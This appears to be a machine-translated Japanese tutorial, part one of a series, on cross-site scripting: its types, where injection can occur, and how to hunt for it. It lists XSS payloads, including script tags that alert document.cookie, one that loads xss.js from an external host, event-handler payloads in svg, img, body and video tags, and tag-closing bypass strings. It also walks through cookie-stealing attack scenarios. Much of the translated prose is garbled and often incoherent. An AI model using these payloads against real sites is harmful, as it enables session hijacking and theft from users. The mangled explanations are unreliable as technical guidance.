詳細XSS(クロスサイトスクリプティング)(上)
Hack 9月3日
XSSの原則と分類
クロスサイトスクリプティングのXSS(クロスサイトスクリプティング)、ではない略語やカスケーディングスタイルシート(カスケードスタイルシート、CSS)の順で混乱、それはXSS XSSと略記されます。悪意のある攻撃者は、悪意のあるユーザーの目的を達成するように、ユーザーがWebスクリプトコードが実行される内部に埋め込まページを参照するとき、スクリプトコードを使用して、悪質なWebページを挿入します。ユーザレベルの攻撃に対するXSS攻撃!
XSSは、に分けられる:蓄積型、反射型、DOM型XSS
蓄積型XSS:ストレージ・タイプのXSS、持続性、コードがサーバーに保存されている、などの個人情報や公開の記事や他の場所のように、何のフィルターまたはフィルター緩いが存在しない場合は、コードを挿入し、その後、コードは、サーバーに保存され、ユーザーページのトリガー・コードの実行にアクセスするとき。この可能性が高い原因のワームにより危険なXSS、クッキーの盗難
反射型XSS:非永続、あなたは検索ページに表示されることが一般的に容易で、XSS(サーバーがないようなページやコンテンツ)のための独自のコードをトリガするためにリンクをクリックするようユーザーをだましする必要があります。ほとんど反射XSSクッキーは、ユーザーの情報を盗むことです。
DOM型XSS:バックエンドを通じて、DOM-XSSの脆弱性は、脆弱性、DOM-XSSが、実際には、反射XSSに属し、トリガーに渡されるURLパラメータによって制御されているドキュメントオブジェクトモデル(文書Objeetモデル、DOM)に基づいていません。
DOM属性は、XSSの種類を引き起こす可能性
document.referer
window.name
location
innerHTML
documen.write
示され、私たちはURLパラメータの値を取得するためにDOMを使って、URL内のパラメータの値が、その後、クライアントのjsスクリプトのページを渡し、その後、DOMメソッドで選択されたリストに割り当てられているように、バックエンドプロセスがで完全にされていません完全なフロントエンド。そこで、我々は我々の入力パラメータにトリックを再生することができます。
XSS攻撃のロード
次のラベルのすべてが> //を使用することができます代わりに、例えば、<SCRIPT>警告(1)</スクリプト//
<スクリプト>タグ:<スクリプト>タグは最も直接的なXSSペイロードスクリプトタグ参照外部JavaScriptコードであり、コードは、スクリプトタグ内に挿入することができます
<script>alert("hack")</script> #弹出hack
<script>alert(/hack/)</script> #弹出hack
<script>alert(1)</script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xss
SVGタグ
<svg onload="alert(1)">
<svg onload="alert(1)"//
<img>タグ
<img src=1 οnerrοr=alert("hack")>
<img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
<body>タグ
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
ビデオラベル
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
スタイルタグ:
<style οnlοad=alert(1)></style>
XSSはどこに挿入することができますか?
-
スクリプトタグのコンテンツとしてユーザ入力
-
HTMLコメントのコンテンツとしてユーザ入力
-
HTMLタグの属性としてユーザー名を入力します。
-
HTMLタグの属性値として、ユーザの入力
-
ユーザーは、HTMLタグの名前を入力すると
-
直接CSSへ
-
最も重要なことは、サードパーティのページに信頼できないJavaScriptを導入しませんさ!
#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->
#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
<div 用户输入="xx"> </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>
#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>
#用户输入作为标签名,导致攻击者可以进行闭合绕过
<用户输入 id="xx" />
<><script>alert('hack')</script><b id="xx" />
#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style> </style>
XSSの脆弱性マイニング
ブラックボックステスト
可能な限り見つけるために、すべてのユーザ制御と、以下のように、それらのページコード内の場所を出力することができます:
-
URLの各パラメータ
-
URL自体
-
フォーム
-
検索ボックス
一般的なビジネスシナリオ
-
最も深刻な打撃を受け:コメントエリア、メッセージ領域、個人情報、注文情報など
-
手紙ステーション、Webチャット、プライベートメッセージ、フィードバック:タイプの場合
-
検索ボックス、カレントディレクトリ、画像のプロパティなど:危険性があります
ホワイトボックステスト(コード監査)
コード監査上のXSSは、メイン受信パラメータおよびいくつかの重要な単語どこから開始することです。
パラメータを受信するPHPの一般的な方法$ _GET、$ _ POST、$ _ REQUESTなどを持って、あなたはすべてのローカル受信パラメータを検索することができます。受信したデータは、データ・ページが濾過され、HTMLは符号化処理かどうかを確認するために何も出力がページに存在しないかどうかを確認するために追跡され、その後出力されます。
データベースから取得した場合は、データベースに格納されたデータを制御することができれば、我々は、制御することができた場合にも、前のデータベースへのろ過がない、変数トレース出力から来ている、この文の出力と同様のエコーを検索することができますように。
ほとんどのプログラムは、関数呼び出しのパラメータ公文書の統一されたパッケージを受信します、我々は何のフィルタ、のようなバイパス缶がないかどうかを確認するために、これらのパブリック関数を監査する必要があります。
同様に、監査DOM型インプラントは、監査JSは、DOM要素を操作するいくつかのキーワードを検索することができます。
XSS攻撃の手順
反射型XSSの脆弱性:
-
アリスは、多くの場合、このサイトはボブが所有している、Webサイトを参照してください。アリスボブのサイトには、ログインするためのユーザー名/パスワードを使用する必要があり、そしてアリスは、(銀行口座情報など)の機密情報を保存します。
-
トムはボブのサイトを発見した反射XSSの脆弱性があります
-
トムはリンクの形で作られたEXPを、書き込みのWebサイトに反射XSSボブの脆弱性を使用して、アリスのクリックを誘導するために様々な手段を使用します
-
伐採現場後のボブにアリスはトムが提供する悪質なリンクを閲覧します
-
アリスのブラウザで悪意のあるスクリプトの実行中に埋め込まれた悪質なリンク。このスクリプトは、機密情報(クッキー、アカウント情報など)を盗みます。そして、トム・アリスの完全な知識にこの情報を送信します。
-
トムは、その後、トムはアリスのブラウザの制御を行うことができますスクリプトのパワーより強力な場合は、あなたがアリスボブのサイトでログインすることができますクッキーを使用して取得し、さらにコントロールを活用します
蓄積型XSSの脆弱性:
-
ボブは、ユーザーが公開を閲覧/情報を公開することを可能にするWebサイトを持っています。
-
トムは、ストレージタイプのXSSの脆弱性ボブのサイトの存在を検出します。
-
トムは、悪質なスクリプトとボブのウェブサイトのホットスポット情報にデータベースボブのサーバーに保存されているホットスポットの情報を掲示して、ホットスポット情報を読み取るために、他のユーザーを引き付けます。
-
アリスは情報を閲覧するなどのボブや他の人の後、トム悪意のあるスクリプトが実行されます。
-
トム悪意のあるスクリプトの実行後、トムはページをユーザーのブラウザに対してXSS攻撃を開始することができます
ハザードXSSの脆弱性
私たちが見ることができる以上のことから、ストレージタイプのXSSが損傷します。彼は、サーバー側に保存されているので、ページにアクセスするには、攻撃者が攻撃される限りとして、我々は、攻撃者との接触を持っている必要はありませんので。反射型およびDOM XSSは、我々は、ユーザー、悪意のあるURLの私たちの建設をクリックするようユーザーを誘導する必要がある、と私たちは、このようなソーシャルエンジニアリングの使用など、直接的または間接的な接触を持っている必要がありますか、馬の道にリンクされている他のページを利用します。
その後、XSSの脆弱性を使用して、それを行うことができますか?